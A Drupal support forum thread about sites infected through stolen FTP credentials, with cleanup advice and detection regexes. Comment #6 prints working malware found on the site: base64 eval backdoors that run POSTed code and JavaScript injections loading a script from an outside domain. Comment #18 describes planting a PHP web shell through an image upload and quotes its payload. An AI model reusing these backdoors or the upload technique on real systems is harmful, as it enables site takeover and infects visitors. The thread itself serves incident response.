| Project: | Drupal core |
| Version: | 6.19 |
| Component: | base system |
| Category: | support request |
| Priority: | normal |
| Assigned: | Unassigned |
| Status: | closed (fixed) |
Issue Summary
Hello,
I want to report a malicious attack on my website I just opened 2 weeks ago (so I guess all Drupal files are on the latest status and are supposed to be secure).
It started with getting a Fatal Error message:
Fatal error: Cannot redeclare gnf2() (previously declared in /home/mypage/public_html/index.php(1) : eval()'d code:1) in /home/mypage/public_html/sites/default/settings.php(1) : eval()'d code on line 1
I then checked settings.php and noticed a php statement at the very top that is not supposed to be there:
<?php> eval(base64_decode(' [lots of code] ')); ?>
where [lots of code] is a replacement for a long list of code letters/numbers. I then discovered the same statement also in index.php, database.inc, database.mysql.inc, database.mysql-common.inc, database.mysqli.inc, and database.pgsqli.inc. When I removed the code the start page appeared again but every other page was still not accessible resulting in the following error:
Not Found
The requested URL /album/fallschirmjager-snapshot-portrait was not found on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
While the start page was loading the website apparently tried to contact www.elpotrero.com.ar As such a website doesn't have anything to do with my page I guess it is related to the malicious code.
On another page I have I discovered the same issue. After I removed the code there, the page didn't appear anymore but instead a minelli fresh drupal installation page was loaded.
Now, I don't know what I could to to remove this and to bring my two websites back to normal. I am quite desparate and clueless about what to do next.
Any help will be highly appreciated.
Regards,
Roger
Comments
#1
In future follow: http://drupal.org/node/101494
Based on your description either, you didn't have the proper file permissions on settings.php and it was writable or someone gained server level access. You should immediately change your DB password and your drupal admin password. You should also check all files for code that isn't supposed to be there. Matter of fact, I'd just delete all the files and reupload a new core download.
I'd then ensure that your settings.php is set to 644 or 444
#2
OK, thanks, I did not know about http://drupal.org/node/101494
I will enter any potential future issue there. I have replaced all core files with new ones on the 1st of my websites. When I reloaded it the blue drupal installation page appeared. When I entered the DB name and password it recognized the existing website and I could choose to display the existing one rather than installing a fresh drupal installation. I then changed password and set the permissions of settings.php to 444. It was 644 before (it was a server hosting installation with fantastico and I doubt that it was set to anything else than 644) so maybe this could be a new security leak?
I haven't managed to bring my 2nd website back to life yet. The same procedure was not successful. The start page loads but if I want to go to a subpage the error message
Not Found
The requested URL /admin/settings/performance was not found on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
I will post a follow up soon.
Roger
#3
No idea, fantastico installs provided by a host are great for testing but shouldn't be used for production. With regards to a 3rd party install, you are more/less on your own. Most everyone installs drupal with its native installer, and is certianly something you should do.
The only entry for a hacker is your FTP account and the server itself, especially when on a value host.
I'm marking this as fixed at this point as I don't believe there is anything anyone can do here.
On your own or with the help of your host you can try and track back when this happened by checking the date and time of the offending file and comparing with your access logs. This may locate the point of attack.
On your end ensure you were using Drupal 6.14 and that any and all cotrib modules are up to date and haven't been removed from distribution because of unfixed security holes.
#4
#5
These scripts being inserted into your pages are most likely incarnations of Martuz or Gumblar and are indeed getting in via FTP. I have also seen this happen on a friend's D6 site, and on many other sites, not limited to those using a specific CMS since it doesn't use a security hole. The FTP credentials hav been found/sniffed somewhere and it uses those to inject itself into your webpage to spread to your visitors. Since all Drupal traffic goes through index.php, and all other files are included, the whole site is brought down once two included files are infected and the redeclare error comes up.
Start by checking your own machine for malware, so it doesn't spread while fixing the site.
It takes special interest in files containing the words settings, database, config or similar.
It looks like it targets database related files first since I always found messages about the DB going down before I saw the redeclaration errors.
The php files infected on my friend's site included:
update.settings.incdblog.admin.inc (modules/dblog)
database.mysql-common.inc
settings.default.php
settings.php
index.php
database.inc
database.mysql.inc
database.mysqli.inc
database.pgsql.inc
xmlrpc.inc
Recheck the permissions especially on settings files, as those seem to be changed.
It also created files called gifimg.php wherever there were images, and especially in folders named "images". These scripts seem to be designed to handle POSTs and eval() them.
All .js files need to be checked for code containing document.write(). It prints out script tags which tries to run a php file on some other domain.
As a test set up a regular expression based file contents search script, to look for
'/^\s*<\?php\s+eval\(base64_decode\(.*?\)\);\s*\?>\s*/i'and '/\s*document.write\(\'\'\);$/i' in .js files. There is of course no guarantee those will catch all instances of the code, but it seemed to work, and I could replace the matches with empty strings to get rid of it. Of course, restoring from a backup is the best, but this gives a much shorter diff between live/backup so you can more easily find things you've missed.I'm also logging all POSTS atm to see if I can find more info on this. (low traffic site so it's not that much to look through).
And of course, change the FTP/DB credentials and don't store them on the computer!.
Hope that helps.
#6
Hello TwoD,
You are absoutely right regarding all the information you gave. Not only index.php, database.inc, database.mysql.inc, database.mysql-common.inc, database.mysqli.inc, and database.pgsqli.inc were infected but also many .js files in almost all module folders and the gifimg.php added in many image folders.
After I removed the declare statements in the first few files the website started to operate again but it tried to contact a website (or php-file) in Argentinia or Brasil.
I then manually removed the code from index.php, database.inc, etc. and removed all module folders and replaced them with back-up files as just too many files were affected. After that I changed the ftp and admin passwords. And since then it works again smoothly. I just hope I haven't missed any malicious code, but the website does no longer try to contact the Argentinian website.
I add here the code I noticed was added so various files. Perhaps someone can tell when exactly it was trying to do:
In e.g. settings.php the following code was added to the top:
<?php eval(base64_decode('aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpO2Vsc2UgZGllKCc0MDQgTm90IEZvdW5kJyk7'));?>Most .js files in module folders had the following code (with the link to the Argentinian website [with a server in Brasil]) was added at the bottom:
document.write('<script src=http://elpotrero.com.ar/seleccion/Maradona-Marsella.php ><\/script>');document.write('<script src=http://elpotrero.com.ar/seleccion/Maradona-Marsella.php ><\/script>');
document.write('<script src=http://elpotrero.com.ar/seleccion/Maradona-Marsella.php ><\/script>');
The as you stated correctly many image folders had
gifimg.php
added with the following code:
eval(base64_decode('aWYoIWlzc2V0KCRnc2IxKSl7ZnVuY3Rpb24gZ3NiKCRzKXtpZihwcmVnX21hdGNoX2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF0gYXMgJHYpaWYoY291bnQoZXhwbG9kZSgiXG4iLCR2KSk+NSl7JGU9cHJlZ19tYXRjaCgnI1tcJyJdW15cc1wnIlwuLDtcPyFcW1xdOi88PlwoXCldezMwLH0jJywkdil8fHByZWdfbWF0Y2goJyNbXChcW10oXHMqXGQrLCl7MjAsfSMnLCR2KTtpZigocHJlZ19tYXRjaCgnI1xiZXZhbFxiIycsJHYpJiYoJGV8fHN0cnBvcygkdiwnZnJvbUNoYXJDb2RlJykpKXx8KCRlJiZzdHJwb3MoJHYsJ2RvY3VtZW50LndyaXRlJykpKSRzPXN0cl9yZXBsYWNlKCR2LCcnLCRzKTt9aWYocHJlZ19tYXRjaF9hbGwoJyM8aWZyYW1lIChbXj5dKj8pc3JjPVtcJyJdPyhodHRwOik/Ly8oW14+XSo/KT4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdIGFzICR2KWlmKHByZWdfbWF0Y2goJyMgd2lkdGhccyo9XHMqW1wnIl0/MCpbMDFdW1wnIj4gXXxkaXNwbGF5XHMqOlxzKm5vbmUjaScsJHYpJiYhc3Ryc3RyKCR2LCc/Jy4nPicpKSRzPXByZWdfcmVwbGFjZSgnIycucHJlZ19xdW90ZSgkdiwnIycpLicuKj88L2lmcmFtZT4jaXMnLCcnLCRzKTskcz1zdHJfcmVwbGFjZSgkYT1iYXNlNjRfZGVjb2RlKCdQSE5qY21sd2RDQnpjbU05YUhSMGNEb3ZMMlZzY0c5MGNtVnlieTVqYjIwdVlYSXZjMlZzWldOamFXOXVMMDFoY21Ga2IyNWhMVTFoY25ObGJHeGhMbkJvY0NBK1BDOXpZM0pwY0hRKycpLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHMpO2Vsc2VpZihzdHJwb3MoJHMsJyxhJykpJHMuPSRhO3JldHVybiAkczt9ZnVuY3Rpb24gZ3NiMigkYSwkYiwkYywkZCl7Z2xvYmFsICRnc2IxOyRzPWFycmF5KCk7aWYoZnVuY3Rpb25fZXhpc3RzKCRnc2IxKSljYWxsX3VzZXJfZnVuYygkZ3NiMSwkYSwkYiwkYywkZCk7Zm9yZWFjaChAb2JfZ2V0X3N0YXR1cygxKSBhcyAkdilpZigoJGE9JHZbJ25hbWUnXSk9PSdnc2InKXJldHVybjtlbHNlaWYoJGE9PSdvYl9nemhhbmRsZXInKWJyZWFrO2Vsc2UgJHNbXT1hcnJheSgkYT09J2RlZmF1bHQgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291bnQoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO31vYl9zdGFydCgnZ3NiJyk7Zm9yKCRpPTA7JGk8Y291bnQoJHMpOyRpKyspe29iX3N0YXJ0KCRzWyRpXVswXSk7ZWNobyAkc1skaV1bMV07fX19JGdzYmw9KCgkYT1Ac2V0X2Vycm9yX2hhbmRsZXIoJ2dzYjInKSkhPSdnc2IyJyk/JGE6MDtldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydlJ10pKTs=')); ?><?phpDoes this make any sense to you? Is there a way to find out what the Maradona-Marsella.php does?
Regards
Roger
#7
If you replace the eval with a print and put that in its own php file and run it, it will output the raw code for you to read. I guess a part of it is about grabbing incoming POST requests containing malicious code and running it through eval().
As I mentioned above, I was logging all POSTS but I could only find spam in those logs, the FTP log on the other hand had entries with the time matching the moment the site stopped responding. So I guess they never had time to send any POST:ed code before the site went down. (I went against my own advice and left the FTP password the same and set up a simple honeypot using the live site as bait.) After that, I did change the password and there has been no problem since.
#8
Automatically closed -- issue fixed for 2 weeks with no activity.
#9
I have same problem to ?
all site on my server allready infected
how to remove
#10
use your FTP tool or host file manager to remove the files.
if you want to remove the database too, use your database management tool on your host to empty the database or delete it.
#11
If your Drupal site(s) is/are affected by the "php eval" virus described above, you can use this script to get rid of it:
http://blog.sucuri.net/2010/05/simple-cleanup-solution-for-latest.html
(use http://sucuri.net/malware/helpers/wordpress-fix_php.txt if you don't have SSH access)
The recent attacks on wordpress sites also affects Drupal sites, apparently.
Thanks to the author, this script worked perfectly and instantly. Not being a Unix wiz myself, this script sure spared me lots of headaches ;-)
#12
Thanks, that was helpful. Nice to know other CMS folks also having this problem.
It cleaned up most of my .php files, but not all. Not sure why.
See http://drupal.org/node/792824#comment-3055054
#13
I am worried about it because in another websites i have around the world (with differents hosting), they become again maliciuos by itself past few hours. I think it is the hosting or somewhere else who is writting that code into my website config files.
The lines inserted and malicious are:
1)something like "
<?phpeval(base64_decode(aWYoIWZ1bmN0a....
?>
2)something like "document.write('<\/script>');" at the bottom of some javascript files *.js
...mmmm....very strange and i really dont know how to fix it.
#14
Find ALL instances of that code (check every single executable file by hand if you have to), and make sure you change all FTP and/or control panel passwords to new strong ones. If you've previously done this but had the passwords stored somewhere on your computer then that's whete the original problem could be. If a spyware program has found your site passwords (in files or unencryptes taffic) it could easily send this to some other place where a bot picks it up and starts injecting stuff on your site again.
So, check both your hosting account and your local computer (and those of anyone else with enough access to change files on your site) for maliciuos activity. If you can, use SFTP or SSH to access your site and never store passwords in program memory or on disc.
That's the procedure I (and some of my clients) had to go through....
#15
:(
I just found my drupal site got attack today :( very wired.
I am using Drupal 6.19 !!!! in Godaddy hosting
#16
The Drupal version, or even which CMS/CMF you are using is irrelevant. The attack most likely happens via FTP because someone found or figured out your credentials.
I've seen this on several sites now, and thew only working cure is to change FTP password (and user if possible) an purge all the snippets mentioned above from all files where it appears.
If even one instance of it is left, the attacker can use that to execute almost any code they want to.
If you're worried this happened via Drupal, check the database too, especially if you have the PHP filter active. If guests have access to an input format with this filter, an attack like this could easily be started via Drupal. But as long as only trusted users have acces to the PHP filter and other places where PHP can be entered, FTP is the most likely point of entry. Checking the FTP logs might reveal something interesting, unless they are accessible via FTP/PHP or they could have been wiped.
#17
I recently worked on a drupal site for a client, I found 500 hundred plus page not found reports in the site reports which contained some very disturbing content (mainly unmentionable degenerate keywords for every type of porn search possible) the website was drupal 6.19 very out of date and un secure including every module in the website. Google wont index any pages from this website is it possible i has been blacklisted or just being ignored by google. I might recommend we move the site to a different server and change the domain name slightly. In all my years of working with website i have never seen anything like this before. This may be from amateurs that think the can build a website and just abandoned him after the site got into trouble.
Any ideas on what may have happened to my clients website
#18
Solution!
Recently we had a website hacked by the same technique, called r57shell.php
We checked through the logs of the server that the hacker proceeded as follows:
Register as a user portal normally;
Entered a profile image containing PHP code (mimetype validation did not catch because it's still an image file);
Accessed via browser the image file executing it as PHP as follows: "POST / HTTP/1.1 sites/default/files/images/profiles/picture-12345.jpg/.php";
After that, a file r.php (attached) was generated in the same directory, known as r57shell.php;
From there, you know ...
The PHP code inside the image file:
eval(base64_decode($_POST["code"]));echo "DONE";The solution:
Restore the backup of all files of the portal (another possible fix: http://blog.sucuri.net/2010/05/simple-cleanup-solution-for-the-latest-wo...);
Search in database for malicous code;
Configure the server so that PHP is not executed within the directory /sites/default/files (and subdirectories within), because it is the only directory where you can upload files by users;
I hope this helps someone.